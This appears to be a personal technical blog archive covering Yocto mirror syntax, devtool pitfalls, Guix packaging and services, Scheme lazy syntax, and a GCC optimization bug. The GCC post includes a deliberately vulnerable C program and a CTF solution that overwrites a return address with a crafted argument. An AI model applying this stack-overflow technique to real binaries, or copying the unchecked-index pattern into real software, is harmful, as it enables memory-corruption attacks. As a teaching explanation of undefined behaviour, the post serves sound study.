BB_FETCH_PREMIRRORONLY and SSTATE_MIRROR_ALLOW_NETWORK variables can be used to configure BitBake to download sources and build artifacts only from configured mirrors. This variables will be usable for all BB_NO_NETWORK configurations.

Yocto Documentation on Mirrors Syntax

All things described in the previos part are correctly documented and can be found in the official documentation. But a syntax for mirror rules itself is poorly documented. An official documentation suggests only three examples how mirror rules can be created:

In the example[1] for a PREMIRRORS variable we can see that we should use .*/.* regexp to match all URI for a specific fetcher:

 PREMIRRORS_prepend = "\
 git://.*/.* http://www.yoctoproject.org/sources/ \n \
 ftp://.*/.* http://www.yoctoproject.org/sources/ \n \
 http://.*/.* http://www.yoctoproject.org/sources/ \n \
 https://.*/.* http://www.yoctoproject.org/sources/ \n"

In the example[2] for a SSTATE_MIRRORS variable we can found that there are also supported PATH string in matching:

 SSTATE_MIRRORS ?= "\
 file://.* http://someserver.tld/share/sstate/PATH;downloadfilename=PATH \n \
 file://.* file:///some-local-dir/sstate/PATH"

In same SSTATE_MIRROS example[2] we can additionally find information that a mirror syntax support more sophisticated regex usage:
```
 SSTATE_MIRRORS ?= "file://universal-4.9/(.*) http://server_url_sstate_path/universal-4.8/\1 \n"
```

But there is no full description of the mirror matching mechanism. We offer the following as a way of filling this gap.

Yocto Mirror Syntax

All mirrors are defined as a “pattern replacement” pair. The BitBake attempts to match a source URI against each “pattern” and on a successfull match the BitBake generates a new mirror URI based on an original URI, by using the “pattern” and “replacement” definitions.

URI Matching

Each URI, including “pattern” and “replacement” strings, is split into six components before matching as follows:

scheme://user:password@hostname/path;parameters

In an upstream URI this parts understood as strings, in a “pattern” this parts is interpreted as python re regexps (parameters is only field that is not regexp), in a “replacement” this parts is interpreted as regexp replacements in terms of python re.sub function.

All parts from an upstream URI matched against regexps from the corresponding part of a “pattern” with the next additional rules:

Bitbake always adds a $ sign to the end of a scheme regex. It was made to be sure that “http” scheme whould not match “https” string.
If a scheme is a “file” then the hostname is assumed to be empty. Otherwise the hostname is a text between “://” and next “/” character.
parameters interpreted as a list of “param=value” pairs. For each such pair specified in “pattern” there are should be a full match in an original SRC_URI. It is the only field that matched with a string equality instead of a regexp matching.

NOTE: A parameters matching was broken up to Yocto 2.6 release. This issue was found and fixed as a part of work on this documentation.

URI Replacement

If a URI was successfully matched, then bitbake creates a new mirror URI from an upstream URI using a “replacement” string. The BitBake uses next rules to make a replacement:

A replacement is made for each part of the URI separately.
Before replacement is performed, we replace the next substrings in a correspondend part of a “replacement” string:
1. “TYPE” – this substring in a “replacement” string will be replaced with an original URI scheme.
2. “HOST” – will be replaced with an original URI hostname.
3. “PATH” – will be replaced with an original URI path.
4. “BASENAME” – will be replaced with a basename of “PATH” (with a substring that can be found after the last "/" symbol).
5. “MIRRORNAME” – will be replaced with a special string obtained as concatenation of a “HOST” with ":" symbols replaced with "." symbols and a “PATH” with "/" and "*" symbols replaced with "." symbols.
NOTE: In the parameters list this replacement is made only in a value part of a param=value pairs.
Each part except the parameters is replaced with re.sub(part_from_pattern, part_from_replacement, part_from_original_uri, 1) Python command. This means that the BitBake will replace only a first match from a current part and that you can use a Python regex replacement syntax including "\1" syntax to insert parts of a matched URI to a result.
If an original URI scheme differs from a “replacement” scheme then an original parameters would be wiped.
The parameters from a “replacement” should be added to a resulting URI. If there were parameters with the same names in an original URI then a value for this parameters will be overridden.
Finally, the BitBake checks that a path part upon replacement is finished with a suggested “basename”. If a resulting path finished with any other string then a resulting path will be concatenated with a "/basename" string. A suggested “basename” is created according to the next rules:
1. If scheme was not changed then “basename” is just a basename of path from an originial URI.
2. If scheme was changed and an original URI is pointed to a single file or a tarball with sources then the same basename as in the first rule will be used.
3. If scheme was changed and an original URI pointed to a some kind of repository then a mirrortarball name will be used. This name is a fetcher specific. e.g. for a git repositories a tarball name will be “git2_hostname.path.to.repo.git.tar.gz”.

NOTE: Last step means that it is impossible to use the "file:///some/path/b.tar.gz" as a mirror path for the "http://other/path/a.tar.gz", but you still can use the "file:///some/path/a.tar.gz" or the "file:///some/path/prefix_a.tar.gz".

Step by Step Process Description

Let’s check how next example will be proceeded:

SRC_URI = "git://git.invalid.infradead.org/foo/mtd-utils.git;branch=master;tag=1234567890123456789012345678901234567890"
PREMIRRORS = "git://.*/.*;branch=master git://somewhere.org/somedir/MIRRORNAME;protocol=http;branch=master_backup \n"

First of all, we’ll split all the three URI’s into the next parts:

upstream:
    scheme     = "git"
    user       = ""
    password   = ""
    host       = "git.invalid.infradead.org"
    path       = "/foo/mtd-utils.git"
    parameters = {"branch": "master", "tag": "1234567890123456789012345678901234567890"}
pattern:
    scheme     = "git$"
    user       = ""
    password   = ""
    host       = ".*"
    path       = "/.*"
    parameters = {"branch": "master"}
replacement:
    scheme     = "git"
    user       = ""
    password   = ""
    host       = "somewhere.org"
    path       = "/somedir/MIRRORNAME"
    parameters = {"branch": "master_backup", "protocol": "http"}

On the next step the BitBake will match the “upstream” URI parts against the corresponding parts of the “pattern” with a re.match(pattern.part, upstream.part) command for all the parts except the “parameters”. For the “parameters” the BitBake will check that the value for a “branch” parameter in the “upstrem” URI and the “pattern” URI are equal.

When these checks pass, the BitBake will start a replacement process. In each part of the “replacement” the BitBake will make the replacements for the special strings:

replacement:
    scheme     = "git"
    user       = ""
    password   = ""
    host       = "somewhere.org"
    path       = "/somedir/git.invalid.infradead.org.foo.mtd-utils.git"
    parameters = {"protocol": "http", "branch": "master_backup"}

Then the BitBake will make the actual replacements with a re.sub(pattern.part, replacement.part, upstream.part, 1) command for the all parts except the parameters. This means that if you want to replace a part complitely, then pattern should be a ".*" instead of a "". For the parameters the new keys will be added to the list and the old values will be replaced. As the result we will get as follows:

result:
    scheme     = "git"
    user       = ""
    password   = ""
    host       = "somewhere.org"
    path       = "/somedir/git.invalid.infradead.org.foo.mtd-utils.git"
    parameters = {"branch": "master_backup", "protocol": "http", "tag": "1234567890123456789012345678901234567890"}

On the last step the BitBake will check that the result.path finished with a basename of the upstream.path. Since the result.scheme and the upstream.scheme are same, the basename will be defined as an "mtd-utils.git" (if a scheme will be different, then basename whould be defined to a "git2_git.invalid.infradead.org.foo.mtd-utils.git.tar.gz").

When the last check passes, the BitBake will combine a result to a new mirror URI that will be used as an alternative source for the files: git://somewhere.org/somedir/git.invalid.infradead.org.foo.mtd-utils.git;branch=master_backup;protocol=http;tag=1234567890123456789012345678901234567890.

You can find additional replacements examples in the BitBake unit tests code[3].

Used Documentation

[1]: https://www.yoctoproject.org/docs/current/ref-manual/ref-manual.html#var-PREMIRRORS ‘Simple example’

[2]: https://www.yoctoproject.org/docs/current/mega-manual/mega-manual.html#var-SSTATE_MIRRORS ‘extended example’

[3]: https://github.com/openembedded/bitbake/blob/master/lib/bb/tests/fetch.py#L374 ‘Additional replacement examples’

[4]: https://github.com/openembedded/bitbake/blob/master/lib/bb/fetch2/__init__.py#L904 ‘Bitbake mirror mechanism implementation’

Possible issues with yocto ‘devtool modify’ utility

2017-11-07T00:00:00+00:00

This post was originally published on linkedin.

Yocto delivered with great “devtool” tool that allow to work on specific package locally. This tool allow you create patches to any recipes like this:

devtool modify package
cd workspace/sources/package
# Edit source as you want
devtool build package
# Finish editing
git commit -am 'This new commit in sources will be exported as patch to yocto recipe'
devtool finish package /path/to/meta-layer-with-package

You can find full description for “devtool modify” utility in yocto documentation.

For recipe with S="${WORKDIR}/internal/subpath/for/sources" devtool will export directory "${WORKDIR}/internal" as source directory and reuse “externalsrc” mechanism to allow to build from exported sources. To track changes and generate patches devtool create “git” repository at a root of exported sources.

All this mechanisms can fail because of yocto flexibility. Let’s describe a possible issues with examples based on current (yocto 2.4) poky distro.

Possible failures:

Missed sources

externalsrc.bbclass change “fetch” task to fetch only “file://” URI’s, while ‘devtool’ save only one subdirectory of “${WORKDIR}” as sources. As result if you fetch more that one remote URI for recipe “devtool modify” will lose part of files required for build.

Example:

devtool modify libxml2 && devtool build libxml2

This command will fail to build because libxml2 fetch two tarballs, but devtool save content only from one of tarballs as a sources.

Lost changes

If you have git repository in subdirectory of “${S}” than “devtool” will lose all your changes in this subdirectory, because “devtool finish” looks only at toplevel git.

Example:

devtool modify cross-localedef-native
cd workspace/sources/cross-localedef-native/localedef/
# Change files
git commit -am 'This changes will be lost'
devtool finish cross-localedef-native /path/to/meta-layer

Missed patches

devtool also can fail if you recipe patch some files fetched with “file://” fetcher. There is no such recipes in poky, but it possible to imagine next example:

recipe.bb:
  SRC_URI = "https://recipe.org/recipe.tar.gz file://additional_file"
recipe.bbappend
  SRC_URI += "file://patch_for_additional_file.patch;patchdir=../"

In this case after “devtool modify” you will work with original “additional_file” without patches.

Yocto under GUIX

2017-10-30T00:00:00+00:00

Ok, I got allowance to publish my yocto patches and finally you can use yocto to build embedded linux distros under GuixSD! All required code placed at https://github.com/mnd/guix-mnd-pkgs.

What is yocto?

Yocto is set of projects to build embedded linux distros. This project based on “openembedded” project and widely used in telecommunacations and car-manafactuing. Usage instruction

Fetch my guix packages

git clone https://github.com/mnd/guix-mnd-pkgs.git

Create environment with patched poky distro (main part of yocto project):

guix environment -L /path/to/guix-mnd-pkgs --ad-hoc poky --container --network --root=${PWD}/poky.env --expose=${PWD}/poky.env=/usr  --expose=/bin/sh=/bin/bash --expose=${PWD}/poky.env/bin/pwd=/bin/pwd --expose=${PWD}/poky.env/bin/ln=/bin/ln
export LC_ALL=en_US.UTF-8  # Use locale suitable for python3
source /usr/share/yocto/oe-init-build-env

And then you can build your yocto-based distro. By default you have poky, but you can change conf/bblayers.conf file to add new meta-layers (e.g. layer with support for raspberry-pi builds).

What was made

GUIX package for poky distro with all dependencies, package for coreutils with xattr support, package for chrpath utilities, set of pactches to openembedded-core project.

Yocto patches: Support to build with CPPFLAGS = "-isystem/usr/include", support to build with HOST_CC that contains several arguments for gcc, remove hardcoded “gcc” from openembedded-native recipes, fix for rpath’es in native perl builds, several changes to support special GuixSD environemnt (e.g. add export GUIX_LOCPATH to yocto build environments).

Scheme & Okasaki data structures

2017-09-01T00:00:00+00:00

Decided to read Okasaki work on lazy data structures. He made fix for SML syntax to achieve readable code for lazy structures in strict language. Same changes for scheme you can achieve in next manner:

(use-modules
 (srfi srfi-45) ; lazy primitives
 (ice-9 match) ; pattern matching
 (ice-9 textual-ports))

(define (read-delay chr port)
   (match (get-char port)
    (#\$ `(= force ,(read port)))
    (c (unget-char port c) `(delay ,(read port)))))
(read-hash-extend #\$ read-delay)

And thats all. To delay evaluation you can use #$expr, to match delayed structures you can write (match delayed_expr [#$$match ...]) (note: hash-dollar-dollar). And now you can write code very similay to SML code in Okasaki work:

(define stream #$(cons 1 #$(cons 2 #$(cons 3 #$'()))
(define (take-stream n s)
  #$(match (cons n s)
      [(0 . _) '()]
      [(_ . #$$'()) '()]
      [(k . #$$(h . t)) (cons h (take (- k 1) t))]))

GCC optimization issue

2017-06-05T00:00:00+00:00

This post was written when I found bug first time. Issue can be reproduced for sure on GCC from 4.8.2 to 8.2.0.

Simplified failure code example

$ cat test.c
#include <stdio.h>
int main() {
  int i = 0, res = 0;
  int array[6] = {0,0,0,0,0,0};
  while ((array[i] != 6) && (i < 6)) {
    i++;
  }
  if (i == 6) {
    res = 1;
  }

  printf ("res = %d, i = %d\n", res, i);
  return 0;
}
$ gcc --version 
gcc (GCC) 8.2.0
...
$ gcc -O2 -Wall -Wextra test.c # No warnings!
$ ./a.out 

If you compile this code by itself there are good chance that you’ll got other result but on my machine there I got next result:

$ ./a.out 
res = 0, i = 196
$

Root cause of issue

This issue for sure happens because of some optimizations. Let’s try to found specific one that cause this issue:

$ gcc -O2 -Wall -Wextra -fdump-tree-all test.c
$ cat test.c.037t.fre1 # Last optimization without issue

;; Function main (main, funcdef_no=11, decl_uid=2459, cgraph_uid=11, symbol_order=11)

main ()
{
  int array[6];
  int res;
  int i;
  int _1;

  <bb 2> :
  array[0] = 0;
  array[1] = 0;
  array[2] = 0;
  array[3] = 0;
  array[4] = 0;
  array[5] = 0;
  goto <bb 4>; [INV]

  <bb 3> :
  i_13 = i_2 + 1;

  <bb 4> :
  # i_2 = PHI <0(2), i_13(3)>
  _1 = array[i_2];
  if (_1 != 6)
    goto <bb 5>; [INV]
  else
    goto <bb 6>; [INV]

  <bb 5> :
  if (i_2 <= 5)
    goto <bb 3>; [INV]
  else
    goto <bb 6>; [INV]

  <bb 6> :
  if (i_2 == 6)
    goto <bb 7>; [INV]
  else
    goto <bb 8>; [INV]

  <bb 7> :

  <bb 8> :
  # res_3 = PHI <0(6), 1(7)>
  printf ("res = %d, i = %d\n", res_3, i_2);
  array ={v} {CLOBBER};
  return 0;

}

$ cat test.c.038t.evrp # Optimization that introduce issue

;; Function main (main, funcdef_no=11, decl_uid=2459, cgraph_uid=11, symbol_order=11)

;; 2 loops found
;;
;; Loop 0
;;  header 0, latch 1
;;  depth 0, outer -1
;;  nodes: 0 1 2 3 4 5 6 7 8
;;
;; Loop 1
;;  header 4, latch 3
;;  depth 1, outer 0
;;  nodes: 4 3 5
;; 2 succs { 4 }
;; 3 succs { 4 }
;; 4 succs { 5 6 }
;; 5 succs { 3 6 }
;; 6 succs { 7 8 }
;; 7 succs { 8 }
;; 8 succs { 1 }

SSA replacement table
N_i -> { O_1 ... O_j } means that N_i replaces O_1, ..., O_j

i_4 -> { i_2 }
Incremental SSA update started at block: 4
Number of blocks in CFG: 9
Number of blocks to update: 5 ( 56%)



Value ranges after Early VRP:

_1: VARYING
i_2: [0, 5]
res_3: [0, 1]
i_4: [0, 5]
i_13: [1, 6]


Removing basic block 7
Removing basic block 5
Merging blocks 6 and 8
main ()
{
  int array[6];
  int res;
  int i;
  int _1;

  <bb 2> :
  array[0] = 0;
  array[1] = 0;
  array[2] = 0;
  array[3] = 0;
  array[4] = 0;
  array[5] = 0;
  goto <bb 4>; [INV]

  <bb 3> :
  i_13 = i_2 + 1;

  <bb 4> :
  # i_2 = PHI <0(2), i_13(3)>
  _1 = array[i_2];
  if (_1 != 6)
    goto <bb 3>; [INV]
  else
    goto <bb 5>; [INV]

  <bb 5> :
  # i_4 = PHI <i_2(4)>
  printf ("res = %d, i = %d\n", 0, i_4);
  array ={v} {CLOBBER};
  return 0;

}

So, what we can see in this code. Optimizer know that array can be accessed by indexes from 0 to 5 and it know that accessing array[6] is undefined behavior. In basic block 4 (see at last worked code) we access array[i_2] and as result we can assume that 0 <= i_2 <= 5. This means that basic block 5 has useless condition if (i_2 <= 5) and whole block can be deleted.

So if we look again at C code:

  int array[6] = {0,0,0,0,0,0};
  while ((array[i] != 6) // Possible undefined behavior
         && (i < 6)) {   // As result this test eliminated by Early Value Range Propogation optimization 
    i++;
  }

And if we change order of operations than everything will work fine:

  int array[6] = {0,0,0,0,0,0};
  while ((i < 6) && (array[i] != 6)) { // Both checks still will be there after all optimizations
    i++;
  }

CTF style task based on this optimization

Suppose we have application that take 3 parameters: source string, destination string, and control character. This program will find control character in source string and copy all characters prior to control character to second string:

$ ./prog source destination r # copy "sou" over destination string
replace 3 bytes of second arg with bytes from first
you new string: soutination

Code of this application:

#include <stdio.h>
#include <string.h>
#define MAX_LENGTH 16

void key() {
  printf ("you got a flag\n");
}

int main(int argc, char **argv) {
  /* Initialize all variables */
  int i = 0;
  char arg1[MAX_LENGTH] = {0};
  char arg2[MAX_LENGTH] = {0};
  char match = '\0'; 

  if (argc != 4) return 1;

  /* Ensure that strings will be '\0' terminated */
  strncpy(arg1, argv[1], MAX_LENGTH-1);
  strncpy(arg2, argv[2], MAX_LENGTH-1);
  match = argv[3][0];

  /* Find prefix length up to `match' but not exceed array length */
  while ((arg1[i] != match) && (i < MAX_LENGTH)) {
    i++;
  }

  printf ("replace %d bytes of second arg with bytes from first\n", i);
  memcpy (arg2, arg1, i);

  printf ("you new string: %s\n", arg2);

  /* if there was replacement and after replacement strings are different then show key */
  if (i != 0 && arg1[0] != arg2[0]) key();

  return 0;
}

Application compiled with gcc -O2 ./test.c -Wall -Wextra -Werror -g flags on x86-64 machine with GCC 8.2.0. You should force application to print “you got a flag” string.

Application binary: gcc-optimization-issue-ctf-like-prog

Solution

As we already know test i < MAX_LENGTH will be removed from optimized code. As result we provide almost any i to memcpy (arg2, arg1, i); command. As result we can rewrite return address on a stack providing new value through arg1:

$ ./gcc-optimization-issue-ctf-like-prog 11112222`printf '\xd0\x07\x40'` nevermind 0
replace 82 bytes of second arg with bytes from first
you new string: 11112222?@
you got a flag
Segmentation fault

Add Shepherd service to GuixSD

2016-05-04T00:00:00+00:00

This post must be same tutorial for GuixSD as https://nixos.org/wiki/NixOS:extend_NixOS for NixOS.

Lets create own guile modules structure:

$ mkdir local-guix
$ cd local-guix
$ mkdir -p mnd/services # we will use service modules like (use-modules (mnd services service))
$ edit irssi.scm # create irssi service

And create service that will run irssi under screen

Basic service

Firstly define module that will export our irssi-service

(define-module (mnd services irssi)
  #:use-module (gnu services)
  #:use-module (gnu services shepherd)
  #:use-module (gnu packages irc) ; irssi
  #:use-module (gnu packages screen)
  #:use-module (guix gexp)
  #:use-module (guix records)
  #:use-module (ice-9 match)
  #:export (irssi-service))

Then define config for our module

(define-record-type* <irssi-configuration>
  irssi-configuration make-irssi-configuration
  irssi-configuation?
  (irssi         irssi-configuration-irssi        ;<package>
                 (default irssi))
  (screen        irssi-configuration-screen       ;<package>
                 (default screen))
  (user          lirc-configuration-user)         ;string
  (group         lirc-configuration-group         ;string
                 (default "users"))
  (extra-options lirc-configuration-options       ;list of strings
                 (default '())))

Basicaly services extend activation-service-type and shepherd-root-service-type, but our service does not require to create runtime files so we’ll extend only shepherd-root-service-type:

(define irssi-shepherd-service
  (match-lambda
    (($ <irssi-configuration> irssi screen user group options)
        (list (shepherd-service
               (provision '(irssi))
               (documentation "Run the irssi client in screen.")
               (requirement '(user-processes))
               (start #~((make-forkexec-constructor
                          (list 
                           (string-append #$screen "/bin/screen")
                           "-D" "-m" "-S" "irc"
                           (string-append #$irssi "/bin/irssi")
                           #$@options))))
               (stop #~(make-kill-destructor)))))))

For now we ignore user and group options and just call irssi inside screen. This service will run irssi from root user.

Now we can define irssi-service-type that provides service with name irssi and extend shepherd-root-service-type with defined code.

(define irssi-service-type
  (service-type (name 'irssi)
                (extensions
                 (list (service-extension shepherd-root-service-type
                                          irssi-shepherd-service)))))

And finally define function that will create our <service> object:

(define* (irssi-service #:key (irssi irssi)
                        (screen screen)
                        user
                        (group "users")
                        (extra-options '()))
  "irssi service for specific user" 
  (service irssi-service-type
           (irssi-configuration
            (irssi irssi) (screen screen)
            (user user) (group group)
            (extra-options extra-options))))

Run this service

To add service to you system you must modify you system configuration file in next manner.

Add (use-modules (mnd services irssi)) to beginning of the file
Add (irssi-service #:user "alice") to list of services

And now you can add you new service to system with

$ su # log in as root
$ guix system -L /path/to/local-guix reconfigure /path/to/your-system-config.scm
...
making '/gnu/store/3j7wfbyhfs4pzrgdq6p8fnj4msyv01zc-system' the current system...
guix system: loading new services: irssi...
guix system: shepherd: Evaluating user expression (register-services (primitive-load "/gnu/s...")).
guix system: shepherd: Service irssi has been started.

Installation finished. No error reported.
$ herd status irssi
Status of irssi:
  It is started.
...

Add support for specific user

You can look at code that support specific user at github

Debugging

Guix and shepherd not very specific with errors. If something goes wrong you can try to load your module with guile:

$ guile -L /path/to/local-guix -L ${HOME}/.config/guix/latest/
scheme@(guile-user)> (use-modules (mnd services irssi))

TODO Some more usefull debug suggestions?

STM8L-DISCOVERY open drain on CCO pin

2015-03-03T00:00:00+00:00

I write simple code that blinks with diodes on PE7 and PC7 GPIO pins. All works fine, but if I in same time set PC4 (CCO pin) to output open drain mode then even blink example works incorrect.

Video demonstration:

Your browser does not support the video tag.

In video I also disabled CCO output with CLK_CCOR register.